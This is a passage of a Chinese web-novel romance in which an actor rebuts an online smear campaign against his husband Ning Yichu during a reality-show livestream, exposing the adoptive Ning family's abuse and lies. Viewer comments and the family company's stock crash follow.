但狸猫想要冒充太子迟早会被揭穿,宁衣初这个狸猫很快就被发现了是假少爷,真少爷也被找回来了,按理来说稍微要点脸的人都不可能继续在宁家待下去了吧,但宁衣初不,他脸皮真的厚得惊人,死缠烂打要留在宁家,还威胁宁家人说不然就跟别人说他们虐待他。 宁家人没办法,总不能真把一个小孩子扔出门,只好把他留了下来。据我过去看到的,宁衣初在宁家的待遇分明就很好,差点被他霸占位置的真少爷和跟他们同龄的小姑姑,他们三个也一直同班嘛,宁衣初跟真少爷和小姑姑的吃穿用度都是一模一样的好吗,这还叫虐待? 我不知道真少爷,也就是宁则书啦,他为什么要在节目上那么配合宁衣初的说辞,但据我所知宁则书为人很好说话,可能是被宁衣初哄骗或者威胁了吧,看宁衣初拿捏贺适瑕的能耐就知道,厉害得很呢。 路见不平出来吐个槽哈,爱信不信~】 此条博文一经发布,马上受到好几个营销号转发点评,娱乐论坛里也很快有了相关帖子。 有人在原帖博主底下震惊:【我靠,真的假的?你真的是宁衣初和宁则书从小到大的同学?】 博主回答:【我照片都发出来了,还能有假?】 评论区:【可是如果你只是同学的话,是怎么知道这么多人家家事的?】 博主回答:【我和宁安冬,也就是被宁衣初污蔑说在鬼屋事件里一起欺负他的宁家老七,过去也是朋友,家里有宁衣初那么个没有自知之明老是惹是生非的白眼狼,是个人都难免有想抱怨的时候吧,小学到高中十二年里我听宁安冬她自己慢慢说出来的,而且很多时候宁衣初自己也在场哦,可能是知道理亏所以从来没否认过,我才这么确定的。还有啦,我家里稍微有点小钱,虽然和宁家不能相比,但也听说过宁家养子的可恶传闻~】 评论区:【你和宁安冬是朋友啊,那你出来说话,不怕被人说是偏袒朋友,和宁家人一起再欺负宁衣初吗?】 博主回答:【我的天,谁敢欺负他宁衣初啊!我不是说了吗,我和宁安冬过去是朋友,但大学之后我就出国了,也就没有联系了,早就成陌生人啦,我现在出来说话只是忍不住想要当正义路人的心了而已,真的被宁衣初恶心到了】 评论区:【可是就你一个人在说哎,如果是真的话,那为什么之前没看到别人爆料,总不能你们从小到大的同学就你一个听到了宁衣初贪慕虚荣白眼狼的身世吧?】 博主回答:【我猜应该也还有其他人知道,但知道不一定会出来说话吧,节目才播了一天也没有很久,而且真少爷自己都附和宁衣初的话了,别人还敢爆料吗,不怕被报复吗?】 评论区:【那你不怕被报复啊?】 博主回答:【看我ip~反正我要留在国外发展的,怕什么报复,就是不想看到宁衣初那种小人那么得意洋洋】 评论区:【我的天啊,没想到看起来柔柔弱弱的宁衣初心肠那么歹毒啊,贪慕虚荣就算了,还利用人家寻子心切的父母心,被揭穿了,人家亲生孩子都回家了,还有脸赖着不走,靠人家家里锦衣玉食了那么多年,现在还威胁人家亲生孩子一起上节目诋毁宁家,太可恶了,太可怕了!】 博主回答:【可不是吗。我只是同学嘛,没有一直和他们在一起,所以非要说的话,我也没法帮宁家澄清说他们没虐待过宁衣初,但反正我觉得能容忍宁衣初这么多年的人家不是做得出虐待的事的人。退一步来讲哦,就算真的偶尔打骂过宁衣初,看这个前情,不也很正常吗?】 评论区:【就是就是,别说没虐待他,就算真的虐待过,不也是宁衣初自找的吗!昨天偏信了宁衣初的话,我还帮他骂过宁家人,真是太不好意思了[对不起]】 博主回答:【没事啦,被蒙骗不是观众的错,观众只是没想到会有人那么表里不一而已,而且他对象是贺适瑕嘛,贺影帝口碑也挺好的,大家受到影响难免觉得贺影帝卑躬屈膝喜欢的人肯定是个好人啦】 评论区:【贺影帝是被pua了吧,就像附和宁衣初说话的宁则书一样,不然干嘛那么为了宁衣初踩自己的脸?】 【宁衣初一边说不喜欢贺适瑕,一边又跟他结婚,收了他给的股份还对他颐指气使,我昨天看节目的时候就很不爽了,但弹幕里只知道刷小两口和追老婆,给我气死了!】 【终于有个地方可以说实话了,我都怀疑宁衣初应该提前买了水军控制舆论,不然直播间那些观众在弹幕里的发言怎么会一股脑都对他那么友好,摆明是被买的水军,有的人不知情不好意思唱反调就跟着水军的思路发言了】 …… 在评论区和原博主的一唱一和之下,爆料被补充得更加详细,也把原博主的身份一再做好,进而显得帖子的内容更加真实。 虽然此时是凌晨天蒙蒙亮、绝大多数人都还在睡梦中的时候,但这些爆料博文和帖子底下就如阴兵过境似的,冒出不少人秒回秒跟,将附和爆料内容、谩骂嘲讽宁衣初的评论顶到最热,试图在大众还没反应过来的时候就引导舆论。 还有“知情人”接着爆料—— 【既然有人说了,那我也说一点吧,其实只要认识宁家或者贺家的都知道,贺适瑕跟宁衣初结婚根本没办婚礼。 虽然不知道宁衣初是怎么做到短时间内哄得贺家都对他言听计从的,但反正最开始贺家人、包括贺适瑕自己都是不满意这段婚姻的,是宁衣初趁着两家来往的机会给贺适瑕下了药。 宁衣初本来想靠一夜情,逼贺适瑕负责,没想到贺适瑕根本不愿意,这件事当时在圈子里没闹大,只有很少的人知道,知道的人都觉得宁家命苦,摊上这么个养子,幸好人家贺家没计较,贺适瑕是明星也不方便闹大,不然真能把宁衣初送局子里去。 你们猜后来贺适瑕怎么松口答应和宁衣初结婚的?】 有人在评论区追问,“知情人”才大发慈悲地回复:【爱信不信吧,反正是因为宁衣初怀孕了。】 评论区:【什么?宁衣初不是个男人吗?】 “知情人”:【就是啊,多离奇是不是,这件事其实圈子里知道的人不少,因为宁衣初当时可能是联系不上贺适瑕吧,没办法私下里拿这件事胁迫,干脆就假自杀把事情闹大了】 评论区:【我靠,所以之前最开始爆料说贺适瑕要和一夜情对象奉子成婚了,是真的?那个配文的照片是贺适瑕抱着人上救护车……我靠全对上了!好吓人啊,宁衣初太有心机了吧!】 “知情人”:【还不止呢,你们说他自杀,怎么就那么巧被人拍到了?我们圈子里都猜,应该是宁衣初怕自杀和怀孕的事不够,所以干脆再曝光婚讯来倒逼贺适瑕公开承认,承认了就没办法反悔了嘛】 在这些有来有往沸沸扬扬的讨论中,也有真的吃瓜群众一脸懵逼地路过—— 【什么情况,我还没睡醒吗,怎么没看懂】 【嗯?又有什么反转吗?】 【无语,也是给我打成水军或者无脑跟风的人了哈,我昨天就是站了宁衣初骂了宁家又怎么了,我现在还是这个态度哈,虽然打了个时差的名头,但你们这爆料的时间还是很阴间哈,还有这个传播速度,到底谁买了水军谁心里清楚】 【这么多疑点和槽点的爆料也有人信?】 【为了给宁衣初泼脏水,都快把贺家满门说成任人拿捏的智障了,贺家真的没意见吗?】 【反正贺适瑕肯定有意见哈哈哈】 【好好奇,为什么一定要给宁衣初这个男的安一个怀孕了的说辞】 【可能是利用人的吃瓜心理吧,现在的人都觉得越离奇越没有逻辑的反倒越可能是真的,而且正好和之前一夜情奉子成婚的谣言前后呼应上了】 【合理怀疑奉子成婚的谣言也是这次下水军黑宁衣初的幕后黑手干的】 【话说我刚看了眼,宁衣初好像半夜的时候突然发烧了哎,他们卧室的镜头还是被挡着,也看不到情况怎么样了】 …… 天亮了,醒过来的人更多了。 看到爆料、参与讨论的活人也更多了。 贺适瑕接到了工作室的电话,提醒他看网上目前的爆料发酵,询问他关于应对方案的想法。 贺适瑕看了眼见底的吊瓶,先出门去叫了外面的医护人员进来帮宁衣初取针。 医护人员取了针之后,又给宁衣初量了量体温,说:“已经退烧很多了,但现在还是有点低烧,不过是正常的,输液效果总需要点时间来反应,只要没有又烧起来,就没什么事。不过即便宁老师他醒了,也不建议马上出去吹风。” “还有就是,下午要再输液一次,有利于更快康复,到时候我们会再安排人过来,现在我就先走了,如果中途宁老师有什么情况,贺老师也可以给我们医疗队打电话。” 贺适瑕颔首致谢,等医护人员走了之后,他又给宁衣初掖了掖被子,才拿着手机走到了卧室外面,开口道:“我看一下具体情况,然后会直接在直播间里回复,你们根据我的回复对外发声就好,辛苦了。” 他走出了卧室,外面的镜头没被遮住,直播间的观众可算能看到画面了,有刚回到直播间的,听到贺适瑕这番话,挺困惑—— 【贺影帝在跟谁打电话呢,发什么声?】 【去别的平台搜一下吧,有人出来爆料,把宁衣初打成了从小到大都贪慕虚荣、心机深沉、擅长拿捏人心的白眼狼】 【给我笑死,他们一边说他心机深沉会拿捏人,一边说他没有自知之明总干被人唾弃的蠢事,这两种性格怎么融合到一个人身上的?真就想骂什么就编什么,矛盾了也不管】 【直播节目还是有好处的,这不,能直接听到当事人的回复】 【正儿八经的当事人还病着,不过贺适瑕是当事人的对象,也是谣言中提到的人,也行吧,期待回复!】 【贺影帝说话声音有点沙哑哎,是发现宁衣初生病了之后后半夜就一直没睡吗】 【可怜的阿宁,生病了就很惨了,还要被人趁机搞事情】 贺适瑕刷了会儿词条,越看越眉头紧锁。 然后他打开了节目的直播间,找到正在拍摄他的最近的那个镜头,直接开口道:“阿宁病了,我不想浪费口舌耽误时间,所以别的话就不说了,直接回答吧,正在看的观众可以录屏,待会儿帮我传播下……他们倒是会挑阿宁病了的这个时间点。” 【来来来,录屏开始了!】 【看到贺适瑕这个态度好安心啊,我就知道宁衣初肯定行得正坐得端!】 贺适瑕:“按时间线说吧,第一件事,阿宁当初不是靠坑蒙拐骗才被当成亲生孩子带回宁家的,非要说的话,应该是他的养父母即便发现了疑点,也选择了将错就错。” “阿宁刚出生就被遗弃,宁家人找到他所在的福利院时,他才六岁。” “当时是他的养父母满口坚信阿宁就是他们的亲生儿子,福利院方提醒过按生日有点对不上、有一个月的时间差,但宁家夫妻认为是福利院给阿宁猜的生日猜错了。” “阿宁被遗弃时随身有一枚玉坠,上面刻了‘阿宁’二字——这也是他的小名和取名由来,他的姓名和宁家收养了他这件事无关,那些说既然这么讨厌宁家就不要跟宁家姓的,可以换个说法了。” “当时他也拿出了那枚玉坠,宁家夫妻满口认下,所以福利院方和阿宁自己才也信了他就是宁家的孩子。” “据我如今所知,那枚玉坠可跟宁家半点关系都没有,宁家夫妻当初选择认下,可能是找孩子找累了但又不方便演慈父慈母演到一半罢戏,所以找到个差不多的孩子就正好顺水推舟结束寻子之旅,也有可能是其他原因,得问他们自己了。” “但总之,他们后来对外说他们俩被一个孩子骗了,这番在圈子里流传多年的说辞,和真相截然相反。” 【我就知道宁家人果然有问题!】 【笑死,就算有寻子心切这个说辞在,也解释不了两个混迹商场的老油条夫妻被一个六岁连字都不认识多少的福利院孩子骗了,还是骗他们说自己是他们的亲生儿子这种事吧,宁家是怎么做到拿这个说辞对外宣扬的?这么多年都没翻车?】 【毕竟受害者只是一个不关自己事的孩子,他们圈子里其他人不想为了一个陌生孩子就跟宁家唱反调,也不奇怪,奇怪的是今天的水军居然也是这个说辞……】 【合理怀疑就是宁家自己买的水军啊,宁安夏是娱乐圈的,做这种事应该也得心应手,昨天宁家被骂得那么惨,他们想要反泼脏水吧】 【真是一个谎言说得太久以至于自己都信了,拿到大众跟前说也不觉得有问题,真把我们网友当傻子了,这么多疑点的说辞,怎么让人相信……】 【我也觉得就是宁家夫妻俩不想找孩子了但不方便直接对外说,所以干脆就想认一个差不多的带回去,没想到后来真孩子找到了,那他们之前错认孩子这事就不好解释了,干脆全推锅给一个孩子,至于他们自己,只是寻子心切不慎被骗了啦~】 【生日对不上,玉坠跟宁家无关,但他们还是要认下宁衣初,必然就是故意的啊。要不然的话,哪怕真的寻子心切不想顾那些疑点了,也不至于连亲子鉴定都忘了吧?】 【直接做个亲子鉴定不是就能马上发现宁衣初不是亲生的了吗,还用等到找到了亲生孩子才发现家里那个是“假少爷”?】 【宁衣初真的惨,宁家全员恶人还有表演型人格吧,就那么拉着一个六岁的孩子让他背狸猫冒充太子的锅……】 【还说什么是宁衣初自己赖在宁家不肯走……虽然贺适瑕还没说到,但我猜肯定是宁家怕被人说闲话,所以选择留下他,但留下了又觉得“憋屈”,所以这些年才故意虐待他】 说完第一件事,贺适瑕没有停顿,继续说第二件事:“阿宁六岁那年被带回宁家不到三个月,宁则书这个真正亲生的就‘机缘巧合’被人告知了宁家他的存在,从而宁家找回了亲生孩子。” “阿宁当时处境尴尬,但宁家人让他安心继续做一家人,他也就以为宁家人是真心的。” “没想到紧接着宁家就对外宣扬了刚才提及的是他骗了养父母的说辞,还在被人问及时尴尬地说‘那孩子不肯回福利院,我们虽然不满他之前说谎骗人,但也不好强行送回去,还是继续养着吧’……于是除了靠说谎攀附上宁家之外,阿宁从此又多了个赖在宁家不肯走的‘罪名’。” “阿宁待在宁家,不怎么被允许出门,所以是后来上了小学才知道自己有这个罪名的。那时宁家人对他的态度已经很差了,他便以为是宁家误会了才有的那个局面和谣言,便主动提起想要回福利院……” 贺适瑕闭了闭眼,回忆着宁衣初那充当日记本的小学思政课本上的稚嫩笔迹,心疼难忍道:“宁家没同意,而且借此第一次体罚了阿宁——他们说阿宁不知感恩、白眼狼,明知道他身体不好还让他在室外罚跪,一定要到晕倒才‘宽宏大量’放过他。” “这样的事,从那之后经常发生。” “阿宁写日记被发现,会被毁掉日记本,罚跪。不想回宁家所以放学后有意拖延了一会儿,回去晚了,罚跪。考试考得比宁则书分数高,罚跪,考得比他低,也罚跪,一模一样更不行,还是罚跪,总之只是一个由头而已。” “有同学送了阿宁一块可爱的橡皮,会被丢掉橡皮擦,罚跪,同班的宁安冬还会在大人的示意下在班级上宣扬阿宁的‘罪名’,不许同学跟他交好,甚至暗示那个送橡皮擦给阿宁的同学污蔑东西是阿宁偷的……” “不过好在第一次就失败了,那个同学虽然不再亲近阿宁,却也坚持承认橡皮擦是自己送给阿宁、本来想跟他做朋友的。” “阿宁在被欺负,宁安冬在充当‘打手’……至于宁则书,他是清清白白的宁小少爷。” 【我的天啊……】 【宁家人去死吧,这么折磨可怜的阿宁】 【这是真的想从内到外毁掉他吧,可能是觉得他的存在是污点所以想要靠打压摧毁来假装没有这个污点(污点是从宁家人不讲道理的角度来形容的,不是我的看法,我的看法是宁家人去死】 【哎,所以今天冒出来爆料的那个自称同学的人,是不是也是被宁家过去的说法给骗了?】 【得了吧,你去看那个博主的发文和回复,对宁家那袒护的程度,不是宁家自导自演,就是想去给宁家当狗了,我怀疑压根没什么国外ip不怕打击报复所以才仗义执言的“正义同学”】 【就算真有这么个人,长这么大还不知道辨别是非?送橡皮擦的小朋友都知道坚持自我呢】 “至于第三件事,关于我和阿宁的‘一夜情’……”贺适瑕说着微微一顿。 第40章 第 40 章 贺适瑕澄清,网友吃瓜,…… 略微犹豫过后, 贺适瑕才接着道:“这个问题,我也还是实话实说吧……” 直播间的观众们从中已经听出来了猫腻—— 【从贺哥的停顿中我闻到了不可描述的味道……】 【怎么,贺影帝你居然想过这个问题要说谎吗!】 【说说说, 不要拿我们当外人】 【我靠看来一夜情真的存在啊我的天, 要不然贺适瑕干嘛突然犹豫起来】 “之前我的婚讯刚被曝光出来时, 我对外否认了是出于‘一夜情’奉子成婚……因为我和阿宁确实早就认识了,跟那次意外无关, 但的确,是有等同于‘一夜情’这么件事。”贺适瑕不疾不徐道, “那也确实是我和阿宁关系的重要转折点。” 【我靠!果然真的!】 【好……好刺激……】 【就这么水灵灵地承认了?!】 【贺适瑕的意思是, 的确是因为一夜情这事儿他才有机会和宁衣初结婚的吧?】 【贺影帝:我之前只是否认了结婚对象是一夜情认识的,又没否认有一夜情这件事, 不是我说谎嗷!】 【我在直播间听影帝讲他的一夜情哈哈哈哈哈哈】 【继续继续我好着急】 贺适瑕声音冷下来:“但除了确实有这么一件事之外,今天那个自称知情人的爆料者关于此事的来龙去脉, 悉数都是对阿宁和我的诽谤。” “我和阿宁那晚的确被人下了药, 但那药到底是从哪来的、怎么被我们吃到的、我们俩又怎么正好进了同一个房间的……这些问题不如问问始作俑者的宁家人。” 【下药也是真的啊,我还以为是两个人喝醉了什么的】 贺适瑕看着直播镜头,继续说起几个月前他和宁衣初发生意外那晚的情况:“正如大家昨天就已经知道一点的,贺家和宁家祖上有没有指定具体人选、所以到我们这一辈仍然没有履行完成的婚约, 而在此之前, 我父母和宁家人有心撮合我和宁则书来履行婚约——我从一开始就直言拒绝了, 劳驾不要因此制造谣言, 阿宁本来就很嫌弃我了。” 【对不起,好像不该笑, 但贺影帝最后这强调的免责声明真的好好玩哈哈哈哈】 贺适瑕:“三个多月前,我和阿宁发生意外那晚,也是宁家人下的手, 他们本意就是想‘撮合’我和宁则书,又知道下药这种事事后隐瞒不了,所以还想让阿宁来背锅,但意外之下,他们的盘算没成功,倒是让我占了阿宁的便宜。” “虽然偷鸡不成蚀把米,但宁家人还是坚持把下药的事推锅给阿宁,改说辞成是阿宁为了攀附贺家才对我下手,阿宁身体不好,那之后病了好几天,根本没办法为自己辩解……倒是和今天的情况有点像,他们又在阿宁生病的时候搞事情。” 【天杀的宁家人……】 【嗯……病了好几天……贺影帝你老实说你那晚怎么折腾宁衣初了(关注点错了对不起】 【贺适瑕关于一夜情的总结:我占了阿宁的便宜。嘿嘿】 【宁家人真的很喜欢让宁衣初背锅哎……】 【找错了孩子就说是小衣初骗了他们,怕被人说闲话才留下小衣初,又要对外说是小衣初赖着不肯走,分明是他们虐待小衣初,结果说成小衣初白眼狼,之前又把一夜情下药这件事甩锅给他】 【很搞笑的是,这件事的另一个当事人贺适瑕可还能说话呢,网上那个知情人爆料的时候还不怕被拆穿地“代言”上了,说得像它是贺适瑕肚子里的蛔虫一样,现在被正主亲口否认了吧】 【感觉那个知情人有点像昨天的宁则书,我是指在自说自话这方面,摆明了贺适瑕就很在意宁衣初,他们非要搞得好像自己比正主更知道情况似的,说什么贺适瑕之前讨厌宁衣初、不想跟他结婚】 【谎话说太多遍以至于自己都相信了,固执地不肯接受其他信息是这样的,但我觉得宁则书就是故意搞事情,和这个知情人爆料的口吻心态还是不太一样(不是帮宁则书说话的意思)】 【合理怀疑根本没有什么同圈子的知情人,和那个突然冒出来的小学到高中同班同学一样,都是宁家人自导自演吧】 【这个知情人就凭一张嘴,那个同班同学虽然也是匿名但好歹发了几张宁衣初学生时期的照片呢】 【但那照片里只有宁衣初和路人同学,其实也证明不了持有照片的人就是宁衣初从小到大的同学,反倒是拿得出来那些照片……这件事挺诡异的】 【宁家人是过去在自己圈子里被吹捧习惯了,所以觉得不利益相关的网友也会无脑支持他们,所以就拿这么漏洞百出的“爆料”来糊弄我们吗,生气】 “当时随婚讯一起曝光的那张照片,的确是我抱阿宁上救护车。”贺适瑕一件事一件事陆续说道,“阿宁曾经自杀这件事,是真的,他的手腕上还有当时留下的伤痕,我每看到一次都觉得自己该去死。但网传的他自杀胁迫我结婚,这属于无稽之谈。” 【天啊】 【宁衣初真的自杀过啊……】 【差点忘了还有这件事,贺影帝倒是挺仔细的,桩桩件件都没忘了澄清】 贺适瑕闭了闭眼,缓了下,才接着说:“阿宁当时只是太过痛苦,一时冲动才割腕自杀,但随后他后悔了,本来想打急救电话。” “之前发生意外那晚过后,我在阿宁生病昏睡期间,不问自取地往他手机里设置了‘12’作为拨给我的紧急联络号码,本来是打算等他醒了之后告诉他。但他醒了之后,不愿意再跟我有来往,我也就忘了说,所以他没注意到删除紧急联络号码,拨打求救电话时又因为手滑漏触,最终才打给了我,我后来万分庆幸那天没有错过那个电话。” 前面的实话说完了,贺适瑕没有停顿,接下来开始真假掺半——当时压垮宁衣初的最后一根稻草是怀孕这件事,但贺适瑕没打算在节目直播里承认宁衣初怀孕了。 他在之前的声明里,没有特意提及这件事,是一个不承认不否认的态度,因为男人怀孕毕竟太过离奇,贺适瑕并不打算主动给宁衣初招惹这方面的议论。 但事到如今被人再度曝光出来,他又在逐条回应,如果按上辈子他们要留下孩子的做法,那贺适瑕这会儿会选择承认宁衣初怀孕了的事。 毕竟几个月后孩子出生,总不能对公众一直隐瞒下去,孩子的来历总要有个说法,自然是如今顺水推舟实话实说了正好。 但他们已经约好了手术时间,节目结束后要不了几天,宁衣初就会去做手术拿掉孩子。既然如此,又何必多一件让人非议的话题,男人怀孕毕竟不是什么有趣的谈资。 所以,贺适瑕只接着道:“至于阿宁为什么会痛苦到那个地步……怪宁家人,怪我。” “我是在阿宁自杀之后,意识到不对,重新去查了,才知道了‘一夜情’意外的真相,但在此之前,宁家人义正言辞以家人之名扣锅给阿宁,我也轻信了宁家人的话,真的以为是阿宁给我下的药。” “我还在阿宁想要解释的时候,自以为是给他留面子,所以敷衍以待,让他放弃了解释……他也没法自证,他醒过来时事情已经盖棺定论了,意外发生的地点又在宁家的地盘,他根本没法证明一件没做过的事。我能查到是因为我姓贺,可他只是个被宁家提防不待见的养子。” 【……啊?】 【不是,你信过宁家人给宁衣初扣的黑锅?】 【那我终于明白为什么宁衣初对贺适瑕如今是这个态度了……】 【原来刚才贺适瑕说的一夜情意外过后宁衣初不愿意跟他有来往,还有这层原因啊】 【好惨啊阿宁】 【宁家人为了贺适瑕设的局,虽然设局这事儿怪不到贺适瑕,但宁衣初才是纯纯被殃及的吧,结果他这个本来应该毫无干系的人背了所有的锅,要我我也痛苦崩溃】 【所以宁衣初自杀是为了自证清白吧,现在却被宁家人拿出来做文章说他是以死相逼胁迫贺适瑕跟他结婚……】 【虽然但是,不要为了所谓的清白就伤害自己哦,好在宁衣初自己当时也想明白了,及时求救,不然他那么死了,如今哪有当众澄清的机会】 【可是我不觉得宁衣初是会为了自证清白就自杀的性格哎,合理怀疑是不是还有别的事,各种因素叠加到一起才让他一时冲动的】 【我迷糊了,所以一夜情是几个月前发生不久的事,但贺适瑕之前又说过早就喜欢宁衣初了,那一夜情过后为什么会相信宁家人给宁衣初扣的锅啊?】 【因为宁家过去一直在外面败坏宁衣初的名声,所以……?我不知道我瞎猜的】 【虽然搞不清楚贺影帝之前到底怎么想的,但好歹弄清楚宁衣初为什么这么不待见合法配偶了】 【好好奇啊,那贺适瑕和宁衣初最后怎么决定结婚的?】 贺适瑕接下来的话,倒是贴合了部分观众关于宁衣初自杀原因的猜测:“被冤枉、身体也受到伤害,虽然让阿宁难过,但其实他在宁家长大,这件事不至于让他后来想要自杀……是宁家始终不肯放过他。” “阿宁一直被宁家管控着,他想要尽快摆脱宁家,所以放弃了保研,只想尽快毕业进入工作,但宁家人仗着自己在商界的人脉,让阿宁根本拿不到任何工作机会……阿宁一时觉得无望,才冲动自杀的。” 听了这番话,直播间里原本节目受众的观众们、昨天没看节目但这会儿特意跑来吃瓜的网友们,更加群情激愤了—— 【草草草控制高考志愿控制工作机会,宁家人该进监狱吧】 【唉,这就说得通了,本来抱着毕业工作就能逃离宁家魔爪的希望,结果发现自己在宁家这个庞然大物面前实在很渺小,那些言语上身体上的羞辱责罚他早就习惯了,没法接受的是希望破灭】 【呜呜呜又想起来昨天宁衣初说,如果不是恨贺如林之前在填报志愿上戏耍耽误他,那他为了摆脱宁家控制,之前说不定会答应贺如林的表白……】 【昨天听到那会儿,注意力还在宁衣初高考志愿这件事上,太气愤了,反倒没怎么细究这句话背后到底有多少血泪,只当宁衣初是故意气贺适瑕呢,唉】 【额,所以宁衣初跟贺适瑕结婚,是不是也是为了摆脱宁家的违心之举?】 【很有可能就是这样】 【吃了这么多苦还能好好长这么大,而且仍然保留尖锐的性格,太不容易了】 【宁家人太恶心了,相比之下宁则书虽然古怪但好歹做过的事敢承认,和宁家其他现在还要给宁衣初泼脏水的人比起来,都算眉清目秀了(当然,宁则书也很恶心,没有给他洗白的意思】 【我们公司出差一直都是住康宁,和康宁有长期合作,下个季度一阶段合作到期,本来计划续约的,但现在我做主决定不管怎么样都不续了!气死我了!不用担心我能不能做主,我们公司=我家公司,我是少东家】 【这样说我想起来了,我还买了康宁的股票一直放着没管,待会儿去给它抛售了】 “再然后,是阿宁‘怀孕’的事。”贺适瑕接着开口,有些无言以对似的笑了下,“这件事过于离谱,所以上次声明时我就懒得说,毕竟针对这件事光是‘澄清’的行为就显得很滑稽了。但既然有人非要反复拿这件事来闹事,那我也公开澄清一下——阿宁没有怀孕,在医学界取得突破性进展之前,这件事都不太可能成真。” 【哈哈哈哈哈对不起正儿八经地澄清这种事确实有点滑稽】 【但是这种离谱的传闻,“爆料人”到底是怎么想到的?】 贺适瑕并不担心宁家人拿出证据证明宁衣初怀孕了,事实上,只有宁衣初自己和他贺适瑕,还有给宁衣初做检查的贺家私人医院的专家医生,此时拿得出白纸黑字的报告证明。 宁衣初割腕自杀那件事后,贺适瑕得知了他怀孕,怕这件事传扬开了对宁衣初影响不好,便当机立断安排人将宁衣初此前单独去做身体检查的那家医院的报告销毁了,还把接触到宁衣初病例的医护人员全给高薪挖到了贺家的私人医院。 此后宁衣初的身体检查报告,只有专门负责他这个病例的医生,和宁衣初这个病人、贺适瑕这个病人家属能接触到,就连医生之外医疗团队的其他人,接触到的也只是病人身份信息打码的报告。 简而言之,宁家人、贺家人知道宁衣初怀孕的事,圈内其他人家也有不少听说过的,但没人拿得出证据。贺维安当初要看报告,贺适瑕给她看了之后就拿走了,连亲妈那里都没留档。 “之前我和阿宁的婚讯会曝光,是我当时的二堂哥做的,他担心我作为家里第一个结婚的孙辈,会因此得到更多好处,所以想要借爆料倒逼我否认婚讯。”贺适瑕继续直言道。 “爆料的照片是他找狗仔买到的,我接到阿宁的求救电话时人在片场准备拍戏,突然中途离场,被片场外蹲守的狗仔跟上了也正常。” “而这件事的始作俑者是我前二堂哥,他最初目的除了搅散我和阿宁之外,也还想让阿宁背这个对外爆料的锅。我当时查出来后就告知了宁家和贺家,所以此前没人拿这件事指责阿宁,但今天这爆料人突然又拿出来强行扣黑锅,是觉得反正网友又不知道真相吗?” 【是的,简直就是把我们网友当傻子!】 【前二堂哥哈哈哈哈好神奇的称呼,话说为什么这么快就不是堂哥了啊?】 【昨天提到的那个贺老三也是,说已经不是贺家人了,好好奇发生了什么】 【贺老二成为前二堂哥,应该和贺老三一样,都有宁衣初的手笔,厉害的,我支持宁衣初狠狠报复这些恶人!】 【宁衣初身边好多推锅侠,气死我了,心疼】 贺适瑕:“我想了想,虽然目前没有证据,但今天这突如其来且漏洞百出,但又确实涉及到了诸多非亲历人不能知道的细节的爆料行为,只能是宁家人做的。而宁家人会说阿宁‘怀孕’,大概是受到我那前二堂哥的启发,想要前后呼应一下。至于我那前二堂哥会想到这招,大概是为了猎奇吸引目光吧。” 说完这段话,贺适瑕又琢磨了下:“还有什么需要澄清的来着……对了,阿宁目前手里不止有百分之八的贺氏股份,总的来说他一共持有百分之十三,其中百分之八是我这个伴侣赠予的,还有百分之五是前两天家里祖母刚作为礼物送给他的,只是时间比较短所以贺氏官方还没来得及走完流程对外公告股权变动。” “阿宁是贺氏集团董事会中,除了我母亲之外持股最多的一个。” 【瞪大眼睛,百分之十三!】 【哇塞,祖母会给孙子的伴侣这么多股份作为礼物,摆明了就是很喜欢宁衣初啊,“知情人”还在那说贺家也很讨厌宁衣初,真是太知情了吧!】 【贺六公子:据说我老婆有贺氏百分之八的股份?澄清一下,是百分之十三。哈哈哈哈哈哈哈】 贺适瑕:“关于我和阿宁结婚没有婚礼这件事,的确是真的,但说了这么多,诸位应该也回过神了,我们没有婚礼是因为阿宁不想承认我是他的合法伴侣,至于为什么这么不愿意承认我,大家应该也都有结论了,我活该的。” “我能跟他结婚,已经是站在他的苦难上占了便宜了,他如果不是为了摆脱宁家、实在没办法了,是不可能答应跟我领证的。” 【这倒是真的……】 【不过贺哥能知道嫂子这么多事,除了自己查到的,应该也有嫂子告诉他的吧,还是有希望的吧……贺哥加油……】 【哈哈哈哈贺影帝的粉丝也是很努力了】 【好心疼阿宁啊,还是希望他能跟喜欢的人在一起吧】 【好像都澄清完了?不要啊我还想听!】 【这种逐条解释、清楚明白的澄清真是对吃瓜群众太友好了!】 贺适瑕又想了想,确实没想到漏说的了,便对镜头总结陈词道:“我该说的都说完了,至于网上那所谓的‘同班同学’和‘圈内知情人’等一应言论,就交由我的律师处理,我没那么多时间陪着浪费。阿宁还在生病,我要去照顾他了,这么长时间没看到他,我心里有些慌。” 【喜欢这么不拖泥带水的辟谣!】 【哪来的“这么长时间”哈哈哈哈哈,贺影帝你就直说是离不开老婆吧】 【希望阿宁快点病好~】 【话说天都亮了,是不是该把卧室里的镜头露出来了,让我们也看看阿宁怎么样了嘛】 【好像医生过来给输液了的】 【话说又想到一个辟谣点哈哈,宁衣初如果怀孕了的话应该用药得很小心吧,但之前听卧室里的直播,医生用药时问宁衣初有没有什么过敏原和用药忌讳,贺适瑕完全没提】 【但是男人没有怀孕这一点要专门辟谣就真的很好玩了哈哈哈】 贺适瑕回到卧室里,看着安静睡着、已经基本不怎么咳嗽了的宁衣初,心里这才稍微放松了点。 他坐回了床边,一动不动地看着床上的人。 贺适瑕这边澄清完,辟谣言论对外发酵扩散的时候,正是大多数人早上起床开始活动了的时间。 一边是匿名、疑点颇多的“同班同学”和“知情人”,一边是有理有据的贺适瑕,路人下场后,舆论自然从最开始的“讨伐宁衣初”倒向了“心疼宁衣初,更加厌恶宁家人”了。 宁家那边看走势不好,虽然想要终止计划,但压根敌不过吃瓜群众们的积极热情,这时候就不是他们想叫停就能捂嘴的了。 宁安夏想要强行压下舆论、撤销词条不许讨论,但贺适瑕的工作室那边自然不干,夏至娱乐草台班子似的公关部也没法和贺适瑕工作室里的专业人士相比。而娱乐圈之外,宁家对上贺家的话,自然更敌不过。 这天股市开盘不久,宁绍仁就收到消息:“宁总,我们康宁的股价已经开始下跌了……” “昨天就有这个趋势,但并不算严重,但现在这走向不太对啊,要是今天跌停的话,那我们康宁可就要成笑话了!” “您看……要不您和您那养子好好聊聊?” “作为企业,康宁还是面向住客的酒店行业,名声口碑有多重要,您这个当家人自然比我们更清楚,是不是?” 宁绍仁气急败坏,几乎想要砸了手机,心想这是他跟宁衣初好好聊聊就能力挽狂澜的事吗! 何况宁衣初现在生病昏睡,就算他肯拉下脸,也找不到人聊啊! 康宁这天的股价受到了挺大的冲击,还没到下午已经跌停,宁家人一边想不通这么多年顺风顺水的说辞为什么这次完全行不通了,一边为股市变动焦头烂额。 